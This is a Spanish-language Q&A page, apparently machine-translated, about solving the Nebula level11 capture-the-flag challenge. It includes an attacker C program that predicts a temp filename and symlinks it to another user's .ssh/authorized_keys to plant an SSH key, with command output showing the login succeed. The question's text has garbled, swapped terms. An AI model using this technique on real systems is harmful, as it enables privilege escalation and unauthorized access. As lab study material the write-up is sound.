Nebula level11: setuid no funciona

3

Intento resolver el level11 de Nebula 5 en la plataforma exploit-exercises.com .

Creo que se me ocurrió la idea básica del desafío, de hecho, puedes encontrar numerosos artículos de este nivel en Internet:

El problema es cuando se intenta ejecutar el getflag , parece que el bit setuid se pierde durante la ejecución. Sé que /tmp/ se monta con la opción nosuid y, por lo tanto, no puede ponerle un programa suid. Pero, no fue mi caso cuando lo probé.

Me pregunto si alguien puede decirme qué es lo que realmente sucede aquí y si es un error no deseado en este desafío y cómo solucionarlo (posiblemente a través de la raíz).

Me parece que aún no entendí claramente el mecanismo del bit setuid , ya que parece ser extremadamente frágil cuando se llama a system() .

También, algunas revisiones mencionan el hecho de que bash deshabilita el bit setuid , lo que me parece bastante dudoso (traté de ejecutar programas setuid y lo ejecuté). Alguien me puede dar una idea al respecto, también me encantaría.

EDITAR

Según lo sugerido por Gilles, estoy agregando algunos detalles más sobre el problema aquí.

Entonces, básicamente, la forma más fácil de explotar este nivel es usar el hecho de que si establece Content-Length en 1 (escriba Content-Length: 1 en stdin ) y, luego, escriba una letra (que se traduce en otra por un proceso determinista). La cadena que obtenga no se terminará en nulo ( system() ) y el contenido de la cadena se agregará al contenido actual de la memoria. Luego, toda la cadena pasará por la función D .

El hecho es que es muy probable que encuentre getflag caracteres en la memoria y, por lo tanto, pueda llamar a la letra que recibió como comando.

Luego, solo tienes que configurar un enlace simbólico de D a PATH (el software usado para obtener el indicador de un nivel) y agregar la ubicación de getflag a tu variable /home/flag11/flag11 . Debería dar algo así:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: DPo: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D0@': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D0': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: D: command not found

Luego, agregando el enlace simbólico a setuid :

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
getflag is executing on a non-flag account, this doesn't count

Entonces, el problema es que el software level11 tiene flag11 con los siguientes derechos:

-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 /home/flag11/flag11*

Tenga en cuenta que el ' usuario atacante ' es setuid y el ' usuario objetivo ' es level11 .

Sin embargo, parece que el programa no respeta getflag y usted vuelve a flag11 cuando ejecuta el programa /home/flag11/flag11 (pero está %code% durante la ejecución de %code% .

Por lo tanto, mi pregunta es "¿Por qué?".

Y, también debo agregar el hecho de que los otros niveles parecen funcionar correctamente. Lo que significa que esta no es la primera explotación de setuid en este sistema, y que todos los demás parecen funcionar bien.

    
pregunta perror 19.09.2016 - 18:36
fuente

3 respuestas

4

Cómo resolví Nebula Level 11

Los archivos necesarios se encuentran en /home/flag11 echemos un vistazo

level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11   100 2016-12-20 15:11 .
drwxr-xr-x 1 root   root      140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11     14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11   3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11     60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11    675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11     60 2016-12-20 15:07 .ssh

Esta pequeña carpeta .ssh genera algún tipo de señal de alarma en mi cerebro. Tal vez necesitamos esto más adelante. Como se puede ver algunos de los archivos han sido accedidos recientemente. Esto se debió a mi ataque.

El código C adjunto del ejercicio es el siguiente:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

Después de analizar este código Return a random, non predictable file, and return the file descriptor for it. . Cuando alguien dice no predecible , trato de predecir. Esto debe ser diferido un poco porque el resto del código necesita inspecciones. Solo algunas observaciones, en los antiguos sistemas Linux pid de un proceso es bastante predecible. Por supuesto, srandom() sembrado con el tiempo también es predecible.

Bueno, hay un esquema de encriptación XOR que se usa para descifrar el búfer en process y este búfer descifrado se entrega al sistema. Está bien, necesitamos inyectar algunas llamadas de ataque aquí. Por la inspección de los archivos, sabíamos que este es otro desafío setuid bit, bueno, esto se está volviendo cojo, pensé. Francamente, yo era un poco demasiado optimista.

En la función principal, el búfer de procesamiento se llena desde stdin y se comprueba con un prefijo codificado nada mágico aquí.

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  // ...
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {

  //...
}

Las funciones err saldrán del ejecutable cuando se presionen. Para omitir la siguiente verificación if(fread(buf, length, 1, stdin) != length) { , la longitud pasada a este ejecutable debe ser una. En este caso el código inyectado es muy limitado. Las pruebas con desbordamiento de atoi y números negativos siempre fallaron. Debido a que fread devuelve el número de elementos leídos y no el número de bytes, en este caso siempre devuelve uno. Forme los otros ejercicios que sabíamos que podemos fingir la variable PATH con una ruta que tenemos bajo control. Así que solo necesitamos inyectar un solo carácter en la función magic process() . El reverso del XOR es bastante sencillo. Es posible que necesite algunos intentos para ejecutar su comando, esto se debe a que todo el búfer se pasa a system . El búfer se encuentra en la pila de main y debido a esto está lleno de basura. Pero las posibilidades de que alcancemos un cero en el segundo personaje no son tan malas. Ya sentí mi éxito pero luego obtuve esto:

getflag is executing on a non-flag account, this doesn't count  

Esta vez no fui yo quien hizo trampa, pero los autores de Nebula en el código fuente provisto no mencionaron que eliminaron el bit setuid antes de la llamada al sistema. Esto fue expuesto por el comando strace .

getgid32()                              = 1012
setgid32(1012)                          = 0
getuid32()                              = 1012
setuid32(1012)                          = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180

Está bien, esto parece un callejón sin salida. De vuelta al tablero de dibujo, la idea SSH apareció de nuevo. Pero, ¿cómo podemos usar la carpeta .ssh ? Esto es bastante fácil, tenemos que inyectar un archivo authorized_keys allí. Pero, ¿cómo se puede lograr esto sin setuid ?

  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);

}

Hasta ahora, he ignorado completamente el otro caso de la verificación de longitud buffer . Aquí es donde el nombre del archivo temporal super secreto superior entra en el juego. Para obtener control sobre el archivo, tenemos que definir la variable de entorno desde el shell donde ejecutamos el ataque más adelante:

export TEMP=/tmp

Ahora solo es cuestión de adivinar el PID de nuestra víctima. Esto es fácil, cuando canalizamos el stdout al stdin de la víctima, las posibilidades son altas, es solo uno más nuestro. De lo contrario, se podría utilizar popen() e inyectar pid desde ps | grep flag11 . La parte del tiempo es muy fácil porque es el tiempo en segundos. Para obtener una tasa de éxito estable, también usamos el nombre de archivo para el siguiente segundo. Todo el código del atacante tiene este aspecto:

int getrand(char **path, int pid, int time)
{
  char *tmp;
  int fd =  0;

  srandom(time);

  tmp = getenv("TEMP");
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));


  return fd;
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";

  int pid;
  int fd;
  char *path;
  FILE* stream;

  pid = getpid()+1;
  getrand(&path, pid, time(NULL));
  symlink("/home/flag11/.ssh/authorized_keys",path);
  getrand(&path, pid, time(NULL)+1);
  symlink("/home/flag11/.ssh/authorized_keys",path);
  fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}

La clave ssh debe ser generada primero. Me tomó algunos intentos para completar esos extraños cheques con los colores. Tal vez sea necesario verificar el formato de la función time() para no tener problemas de desbordamiento. Por el momento no me queda claro por qué no es necesario cifrar el búfer. Tal vez alguna especialidad de la función mmap. De todos modos, con la clave ssh inyectada, puedes iniciar sesión en la cuenta de flag11 y obtener tu flag.

level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ '/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

flag11@nebula:~$ getflag    
You have successfully executed getflag on a target account
flag11@nebula:~$
    
respondido por el graugans 23.12.2016 - 15:57
fuente
2

Bash no está involucrado aquí. La función system ejecuta sh , y en Ubuntu, sh no es bash, es un guión. A diferencia de bash, el dash no elimina los privilegios. Si el código fuente que se muestra en esa página se compila e instala con el bit setuid, se ejecutará como el usuario propietario y el comando que se ejecuta a través de system también se ejecuta como el usuario propietario.

No he visto cómo se configura el ejercicio. Es posible que necesites leer un archivo. Dado que el programa llama a system sin configurar PATH , puede poner un archivo con un nombre corto en PATH para evitar tener que realizar cálculos complejos en la cadena que finalmente se pasa a system . Convierta ese archivo en un script de shell que haga lo que necesite para obtener la bandera, por ejemplo, lea un archivo o llame al programa getflag .

    
respondido por el Gilles 20.09.2016 - 02:19
fuente
0

Parece que el binario no coincide con el código de la página.

$ gdb /home/flag11/flag11
$ (gdb) disass process
  0x080489c7 <+0>:  push   %ebp
  0x080489c8 <+1>:  mov    %esp,%ebp
  0x080489ca <+3>:  sub    $0x28,%esp
  0x080489cd <+6>:  mov    0xc(%ebp),%eax
  0x080489d0 <+9>:  and    $0xff,%eax
  0x080489d5 <+14>: mov    %eax,-0x10(%ebp)
  0x080489d8 <+17>: movl   $0x0,-0xc(%ebp)
  0x080489df <+24>: jmp    0x8048a0c <process+69>
  0x080489e1 <+26>: mov    -0xc(%ebp),%eax
  0x080489e4 <+29>: add    0x8(%ebp),%eax
  0x080489e7 <+32>: mov    -0xc(%ebp),%edx
  0x080489ea <+35>: add    0x8(%ebp),%edx
  0x080489ed <+38>: movzbl (%edx),%edx
  0x080489f0 <+41>: mov    %edx,%ecx
  0x080489f2 <+43>: mov    -0x10(%ebp),%edx
  0x080489f5 <+46>: xor    %ecx,%edx
  0x080489f7 <+48>: mov    %dl,(%eax)
  0x080489f9 <+50>: mov    -0xc(%ebp),%eax
  0x080489fc <+53>: add    0x8(%ebp),%eax
  0x080489ff <+56>: movzbl (%eax),%eax
  0x08048a02 <+59>: movsbl %al,%eax
  0x08048a05 <+62>: sub    %eax,-0x10(%ebp)
  0x08048a08 <+65>: addl   $0x1,-0xc(%ebp)
  0x08048a0c <+69>: mov    -0xc(%ebp),%eax
  0x08048a0f <+72>: cmp    0xc(%ebp),%eax
  0x08048a12 <+75>: jl     0x80489e1 <process+26>
  0x08048a14 <+77>: call   0x8048700 <getgid@plt>
  0x08048a19 <+82>: mov    %eax,(%esp)
  0x08048a1c <+85>: call   0x8048690 <setgid@plt>    // <---
  0x08048a21 <+90>: call   0x8048630 <getuid@plt>
  0x08048a26 <+95>: mov    %eax,(%esp)
  0x08048a29 <+98>: call   0x8048730 <setuid@plt>    // <---
  0x08048a2e <+103>:    mov    0x8(%ebp),%eax
  0x08048a31 <+106>:    mov    %eax,(%esp)
  0x08048a34 <+109>:    call   0x80486a0 <system@plt>
  0x08048a39 <+114>:    leave  
  0x08048a3a <+115>:    ret    

Parece que la versión con la que obtuve privilegios cae antes de llamar al sistema.

EDITAR: agregar más detalles según se solicite.

Si miras el código C aquí enlace

Entonces la función de proceso se ve así:

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

Aquí solo hay una llamada de función: sistema (búfer).

Si observa / home / flag11 / flag11 con gdb (el fragmento de código anterior), puede contar 5 llamadas: getgid, setgid, getuid, setuid, system. La versión compilada no coincide con el código fuente en la página web. Esas llamadas adicionales eliminan los privilegios antes de llamar al sistema. Puede que no sea posible resolver este desafío.

Puede iniciar sesión como usuario 'nebula' (contraseña 'nebulosa'), descargar el código de enlace , construir y reemplazar / home / flag11 / flag11. Entonces puedes resolver este nivel.

    
respondido por el user132241 02.12.2016 - 09:23
fuente

Lea otras preguntas en las etiquetas